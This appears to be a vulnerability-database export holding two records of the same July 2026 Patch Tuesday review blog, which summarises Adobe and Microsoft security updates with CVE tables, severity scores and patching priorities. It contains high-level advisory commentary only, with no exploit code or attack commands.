Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:38.607385Z"}, {"uuid": "49c45afc-197a-4045-a692-84b4ea452d6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48572", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  